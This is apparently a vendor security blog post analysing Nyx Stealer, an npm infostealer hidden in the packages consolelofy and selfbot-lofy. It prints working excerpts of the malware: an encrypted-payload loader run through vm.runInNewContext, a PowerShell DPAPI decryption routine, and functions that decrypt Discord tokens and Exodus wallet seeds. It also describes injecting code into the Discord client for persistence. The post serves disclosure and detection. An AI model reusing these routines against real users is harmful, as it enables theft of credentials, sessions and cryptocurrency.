DEV Community

Cover image for New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions
Fátima Said for Xygeni Security

Posted on • Originally published at xygeni.io

New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions

TL;DR

The Xygeni Security Research Team identified a sophisticated npm infostealer campaign delivered through two malicious packages: consolelofy and selfbot-lofy.

The latest version (consolelofy@1.3.0) embeds a 216KB AES-encrypted payload that decrypts at runtime and executes via vm.runInNewContext(). Because the malicious logic is fully encrypted, static scanners relying on string inspection cannot observe its behavior until execution time.

Once decrypted, the payload, internally branded Nyx Stealer, targets:

  • Discord authentication tokens
  • 50+ browser credential stores
  • 90+ cryptocurrency wallet extensions
  • Roblox, Instagram, Spotify, Steam, Telegram, and TikTok sessions
  • Discord desktop client persistence

All 20 versions across both packages were reported and confirmed malicious.


Technical Overview of This npm Infostealer

Unlike traditional install-time malware, this campaign relies on a runtime decryption model.

There are:

  • No malicious preinstall or postinstall hooks
  • No obvious install-time network calls
  • No plaintext credential harvesting logic

The payload activates when the module is imported. The entire malicious body is encrypted and only materializes in memory at runtime.

This design specifically avoids detection during package installation.


How This npm Infostealer Actually Executes

Before analyzing what Nyx Stealer steals, we need to understand how it executes.

The malicious logic inside this npm infostealer follows a consistent pattern:

A small loader decrypts a large encrypted payload and executes it dynamically inside a Node.js VM context.

This design is deliberate. The attacker is not hiding functionality behind obfuscation alone, they are removing the malicious code from static visibility entirely.

At a high level, the wrapper does four things:

  1. Derives an AES key from a hardcoded passphrase using SHA-256
  2. Decrypts a large hex-encoded ciphertext using AES-256-CBC
  3. Executes the decrypted JavaScript using vm.runInNewContext()
  4. Provides a sandbox that still exposes powerful runtime primitives

Core Technique Summary

High-Level Execution Model

Component Configuration / Value
Algorithm AES-256-CBC
Key Derivation SHA-256(passphrase)
Initialization Vector (IV) 16 bytes of 0x00
Execution vm.runInNewContext(decrypted, sandbox)

Critically, the sandbox passes through:

  • require
  • process
  • Buffer
  • timers
  • module exports

This means the decrypted payload retains full capability to:

  • Spawn processes
  • Read and write files
  • Make network calls
  • Modify local applications

This is not a restricted VM. It is a VM used as an execution trampoline.

Runtime Encryption Pattern (Core Execution Mechanism)

The loader is small.

The malicious body is not.

Below is the execution pattern found inside the package:

const crypto = require('crypto');
const vm = require('vm');

function decryptAndExecute(encryptedHex, passphrase) {
    const key = crypto.createHash('sha256')
                      .update(passphrase)
                      .digest();

    const iv = Buffer.alloc(16, 0);

    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
    decrypted += decipher.final('utf8');

    const sandbox = {
        require,
        module,
        exports,
        console,
        process,
        Buffer,
        __dirname,
        __filename,
        setTimeout,
        setInterval,
        clearTimeout,
        clearInterval
    };

    vm.runInNewContext(decrypted, sandbox);
}
Enter fullscreen mode Exit fullscreen mode

Why This Matters

The decrypted payload:

  • Does not exist in plaintext inside the npm package
  • Is invisible to simple grep or static string scanning
  • Only materializes in memory at runtime
  • Executes with full Node runtime capabilities

This AES + VM execution combination is a strong behavioral indicator of an npm infostealer attempting to evade static inspection.

In other words:

  • If you scan the package source tree, you do not see a stealer.
  • You see a decryptor.

What Happens After Decryption

Once executed, Nyx Stealer launches parallel data collection waves.

Wave 1: Browser Credential Extraction

The malware:

  • Downloads a Python runtime from NuGet CDN
  • Installs cryptographic libraries
  • Extracts Chromium-based credential stores
  • Decrypts DPAPI-protected secrets

Instead of compiling native bindings, it leverages PowerShell to call Windows DPAPI directly.

function dpapiUnprotectWithPowerShell(dataBuf) {
    const b64 = dataBuf.toString('base64');

    const ps =
        "Add-Type -AssemblyName System.Security;" +
        "$b=[Convert]::FromBase64String('" + b64 + "');" +
        "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
        "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
        "[Console]::Out.Write([Convert]::ToBase64String($p))";

    const cmd =
        `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;

    return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
Enter fullscreen mode Exit fullscreen mode

This approach:

  • Avoids compilation artifacts
  • Uses native Windows crypto APIs
  • Blends into administrative tooling

It is OS-level credential decryption, not scraping.

Wave 2: Discord Token Decryption

The stealer is protocol-aware. It understands Discord’s encrypted token format.

function decryptToken(encryptedToken, key) {
    const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
    const encryptedData = Buffer.from(tokenParts[1], 'base64');

    const iv = encryptedData.slice(3, 15);
    const ciphertext = encryptedData.slice(15, -16);
    const tag = encryptedData.slice(-16);

    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
    decipher.setAuthTag(tag);

    return decipher.update(ciphertext).toString('utf8');
}
Enter fullscreen mode Exit fullscreen mode

Operational flow:

  • Extract master key from Discord’s Local State
  • Decrypt master key via DPAPI
  • Decrypt AES-GCM token blobs
  • Validate tokens against Discord API
  • Enrich with Nitro, badges, billing info

This is not generic credential dumping. It is protocol-aware session hijacking.
If successful, wallet compromise is immediate and irreversible.

This represents the campaign’s highest-value monetization vector.

Persistence via Discord Desktop Injection

After harvesting credentials, Nyx Stealer attempts persistence by modifying the local Discord client.

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Enter fullscreen mode Exit fullscreen mode

Operational Sequence

The infostealer performs the following steps:

  • Terminates running Discord processes
  • Locates installed Discord variants (Stable, Canary, PTB)
  • Overwrites discord_desktop_core/index.js
  • Injects attacker-controlled webhook logic
  • Restarts Discord

This ensures that future Discord sessions automatically leak fresh authentication tokens.

Importantly, this persistence does not rely on scheduled tasks or registry modifications. It leverages application-level code modification, a stealthier approach.

Even if the malicious npm package is later removed, the Discord client remains compromised.

Technical Comparison: Legitimate Selfbot vs npm Infostealer

Component Legitimate Library Nyx npm Infostealer
Encryption None Full AES-encrypted payload
Runtime VM Not required vm.runInNewContext execution
Credential Access Discord API only Browser, wallets, DPAPI
External Downloads No Python runtime via NuGet
Persistence No Discord client injection
Monetization Bot automation Credential resale

Wave 3: Cryptocurrency Wallet Targeting

The npm infostealer enumerates:

  • 90+ browser wallet extensions
  • 27 desktop wallets
  • Cold wallet paths
  • Exodus seed files

Example seed decryption attempt:

function decryptSeco(content, password) {
    const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');

    const decipher = crypto.createDecipheriv(
        'aes-256-gcm',
        key,
        content.slice(0, 12)
    );

    decipher.setAuthTag(content.slice(-16));

    return Buffer.concat([
        decipher.update(content.slice(12, -16)),
        decipher.final()
    ]).toString('utf8');
}
Enter fullscreen mode Exit fullscreen mode

The encryption layer alone already separates this campaign from a typical open-source fork.

A legitimate Discord selfbot has no reason to encrypt its entire codebase, spawn PowerShell to access DPAPI, download external runtimes, or modify desktop application internals. When those capabilities appear inside a dependency that claims to automate Discord interactions, the architectural mismatch becomes impossible to ignore.

From an investigation standpoint, this npm infostealer leaves traces across multiple layers. However, the most reliable indicators are not hardcoded URLs or specific file paths, since those can change between versions. Instead, the durable signals are structural.

At the package level, the strongest red flag is the combination of a large encrypted payload and a runtime decryption wrapper that immediately executes via vm.runInNewContext(). While encryption alone is not inherently malicious, using AES decryption followed by dynamic VM execution inside a Discord utility package is highly anomalous.

At the host level, suspicious patterns include unexpected DPAPI decryption activity, process spawning from a Node.js dependency context, and modification of local application files that should never be altered by third-party libraries. Likewise, at the network layer, outbound webhook-style communication initiated by a development dependency represents another meaningful anomaly.

In other words, the detection surface is not a single indicator of compromise. It is the correlation of encryption, runtime execution, credential access, and persistence behavior that reveals the threat.

Detection and Mitigation with Xygeni

npm Infostealer

This npm infostealer was identified by Xygeni’s Malware Early Warning (MEW) through layered behavioral correlation rather than simple signature matching.

Instead of searching for known malicious strings, MEW evaluates structural anomalies across the full source tree. In this case, detection emerged from the convergence of several signals: an embedded AES decryption routine in the module entry point, immediate execution inside a VM context, and a clear capability-to-intent mismatch.

Importantly, none of these signals alone prove malicious intent. However, when analyzed together, they expose an attempt to conceal runtime behavior. This layered approach significantly reduces false positives while identifying high-confidence supply chain threats.

Furthermore, this case illustrates why install-time inspection alone is insufficient. The malicious logic does not reside in lifecycle scripts. It activates only after the module loads and only becomes visible once decrypted in memory. Therefore, effective defense requires encryption-aware analysis, behavioral pattern recognition, and continuous dependency monitoring beyond installation events.

Request Demo

Registry takedown is reactive. Runtime-aware analysis is preventative.

Why This npm Infostealer Matters

Nyx Stealer represents a structural evolution in npm-based malware.

Historically, many malicious packages relied on visible install-time scripts or obvious credential exfiltration endpoints. By contrast, this campaign encrypts its payload, defers execution to runtime, leverages legitimate operating system APIs, and establishes persistence inside trusted applications.

Consequently, the attacker does not need to exploit npm infrastructure itself. Instead, the attack succeeds because dependency installation implies trust. Developers assume that importing a library is a safe operation, particularly when it presents itself as a plausible fork of a popular tool.

As ecosystems continue to grow and forks proliferate, that implicit trust boundary becomes an increasingly attractive attack surface. Therefore, defending against modern npm infostealers requires recognizing architectural patterns rather than searching for static strings.

Ultimately, this campaign reinforces a critical lesson in software supply chain security: the most dangerous threats are not the ones that look malicious at first glance, but the ones that appear structurally legitimate until runtime reveals their true behavior.

Top comments (0)